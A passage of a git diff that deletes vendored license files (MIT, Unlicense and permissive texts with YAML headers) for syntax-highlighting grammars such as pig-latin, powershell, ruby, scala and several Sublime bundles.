-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/pig-latin.txt b/vendor/licenses/grammar/pig-latin.txt
deleted file mode 100644
index 29118b68f0..0000000000
--- a/vendor/licenses/grammar/pig-latin.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: pig-latin
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2016 Luís Rodrigues
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/pike-textmate.txt b/vendor/licenses/grammar/pike-textmate.txt
deleted file mode 100644
index f4c78b5680..0000000000
--- a/vendor/licenses/grammar/pike-textmate.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: pike-textmate
-license: unlicense
----
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <http://unlicense.org/>
diff --git a/vendor/licenses/grammar/postscript.tmbundle.txt b/vendor/licenses/grammar/postscript.tmbundle.txt
deleted file mode 100644
index 68876a0f1f..0000000000
--- a/vendor/licenses/grammar/postscript.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: postscript.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/powershell.txt b/vendor/licenses/grammar/powershell.txt
deleted file mode 100644
index 5cc6c0b7af..0000000000
--- a/vendor/licenses/grammar/powershell.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: powershell
-license: mit
----
-Copyright (c) 2011 Guillermo López-Anglada
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/processing.tmbundle.txt b/vendor/licenses/grammar/processing.tmbundle.txt
deleted file mode 100644
index e01deabcae..0000000000
--- a/vendor/licenses/grammar/processing.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: processing.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/protobuf-tmbundle.txt b/vendor/licenses/grammar/protobuf-tmbundle.txt
deleted file mode 100644
index ab3af85dcb..0000000000
--- a/vendor/licenses/grammar/protobuf-tmbundle.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: protobuf-tmbundle
-license: mit
----
-Copyright (c) 2009 Michael Edgar
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/python-django.tmbundle.txt b/vendor/licenses/grammar/python-django.tmbundle.txt
deleted file mode 100644
index 8ac0418ded..0000000000
--- a/vendor/licenses/grammar/python-django.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: python-django.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/r.tmbundle.txt b/vendor/licenses/grammar/r.tmbundle.txt
deleted file mode 100644
index 37e5dc649a..0000000000
--- a/vendor/licenses/grammar/r.tmbundle.txt
+++ /dev/null
@@ -1,13 +0,0 @@
----
-type: grammar
-name: r.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
diff --git a/vendor/licenses/grammar/ruby-haml.tmbundle.txt b/vendor/licenses/grammar/ruby-haml.tmbundle.txt
deleted file mode 100644
index 78fd05a6b9..0000000000
--- a/vendor/licenses/grammar/ruby-haml.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ruby-haml.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ruby-slim.tmbundle.txt b/vendor/licenses/grammar/ruby-slim.tmbundle.txt
deleted file mode 100644
index 0d59dd9139..0000000000
--- a/vendor/licenses/grammar/ruby-slim.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: ruby-slim.tmbundle
-license: mit
----
-The MIT License
-
-Copyright (c) 2014 Slim Team
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/ruby.tmbundle.txt b/vendor/licenses/grammar/ruby.tmbundle.txt
deleted file mode 100644
index 86dff4a6ac..0000000000
--- a/vendor/licenses/grammar/ruby.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ruby.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/sas.tmbundle.txt b/vendor/licenses/grammar/sas.tmbundle.txt
deleted file mode 100644
index f4ec226bb8..0000000000
--- a/vendor/licenses/grammar/sas.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sas.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Roy Pardee
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/sass-textmate-bundle.txt b/vendor/licenses/grammar/sass-textmate-bundle.txt
deleted file mode 100644
index fb3e4d9ccd..0000000000
--- a/vendor/licenses/grammar/sass-textmate-bundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sass-textmate-bundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 nathos
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/scala.tmbundle.txt b/vendor/licenses/grammar/scala.tmbundle.txt
deleted file mode 100644
index 299a707158..0000000000
--- a/vendor/licenses/grammar/scala.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: scala.tmbundle
-license: mit
----
-Copyright (c) 2014 Mads Hartmann Jensen
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/scheme.tmbundle.txt b/vendor/licenses/grammar/scheme.tmbundle.txt
deleted file mode 100644
index bc1e2e5024..0000000000
--- a/vendor/licenses/grammar/scheme.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: scheme.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/scilab.tmbundle.txt b/vendor/licenses/grammar/scilab.tmbundle.txt
deleted file mode 100644
index f92e2d012e..0000000000
--- a/vendor/licenses/grammar/scilab.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: scilab.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/smali-sublime.txt b/vendor/licenses/grammar/smali-sublime.txt
deleted file mode 100644
index 56092a55f6..0000000000
--- a/vendor/licenses/grammar/smali-sublime.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: smali-sublime
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Shane Wilton
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/smalltalk-tmbundle.txt b/vendor/licenses/grammar/smalltalk-tmbundle.txt
deleted file mode 100644
index 78ffc1b9ee..0000000000
--- a/vendor/licenses/grammar/smalltalk-tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: smalltalk-tmbundle
-license: mit
----
-### The MIT License
-
-#### Copyright (c) 2011 Tomás D'Stefano - SuccesSoft
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/sourcepawn.txt b/vendor/licenses/grammar/sourcepawn.txt
deleted file mode 100644
index 5a200c9f5e..0000000000
--- a/vendor/licenses/grammar/sourcepawn.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: sourcepawn
-license: mit
----
-Copyright (c) 2013-2016 Austin Wagner
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sql.tmbundle.txt b/vendor/licenses/grammar/sql.tmbundle.txt
deleted file mode 100644
index 8759ae66f4..0000000000
--- a/vendor/licenses/grammar/sql.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: sql.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/st2-zonefile.txt b/vendor/licenses/grammar/st2-zonefile.txt
deleted file mode 100644
index 5fc739f538..0000000000
--- a/vendor/licenses/grammar/st2-zonefile.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: st2-zonefile
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Mike Robinson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/standard-ml.tmbundle.txt b/vendor/licenses/grammar/standard-ml.tmbundle.txt
deleted file mode 100644
index 4a12a1b176..0000000000
--- a/vendor/licenses/grammar/standard-ml.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: standard-ml.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/sublime-MuPAD.txt b/vendor/licenses/grammar/sublime-MuPAD.txt
deleted file mode 100644
index fa59d55626..0000000000
--- a/vendor/licenses/grammar/sublime-MuPAD.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-MuPAD
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2012-2014 Christopher Creutzig
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-aspectj.txt b/vendor/licenses/grammar/sublime-aspectj.txt
deleted file mode 100644
index 5b7ddc186b..0000000000
--- a/vendor/licenses/grammar/sublime-aspectj.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: sublime-aspectj
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Paul Chaignon
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
diff --git a/vendor/licenses/grammar/sublime-autoit.txt b/vendor/licenses/grammar/sublime-autoit.txt
deleted file mode 100644
index 9d452aea80..0000000000
--- a/vendor/licenses/grammar/sublime-autoit.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: sublime-autoit
-license: mit
----
-Copyright (c) 2016 AutoIt
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-befunge.txt b/vendor/licenses/grammar/sublime-befunge.txt
deleted file mode 100644
index d68d7e6415..0000000000
--- a/vendor/licenses/grammar/sublime-befunge.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-befunge
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Johan Asplund
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/sublime-bsv.txt b/vendor/licenses/grammar/sublime-bsv.txt
deleted file mode 100644
index f53ac9b12f..0000000000
--- a/vendor/licenses/grammar/sublime-bsv.txt
+++ /dev/null
